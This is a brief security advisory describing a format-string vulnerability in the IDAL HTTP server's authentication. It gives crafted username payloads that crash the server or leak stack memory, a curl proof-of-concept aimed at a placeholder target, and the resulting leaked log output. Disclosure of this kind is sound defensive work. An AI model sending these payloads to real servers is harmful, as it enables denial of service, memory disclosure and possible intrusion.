Affected vendor

Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
The IDAL HTTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.

Technical details
The IDAL HTTP server does not safely handle username or cookie strings during the authentication process. Attempting to authenticate with the username "%25s%25p%25x%25n" will crash the server. Sending "%08x.AAAA.%08x.%08x" will log memory content from the stack.

Proof of concept
curl -d 'username=%2508x.AAAA.%2508x.%2508x&password=xen1thLabs' http://targetip:81/cgi/login

    UserManagementModule::LoginCGIUser failed. User:"72657355.AAAA.616e614d.656d6567" not present in UserFactory
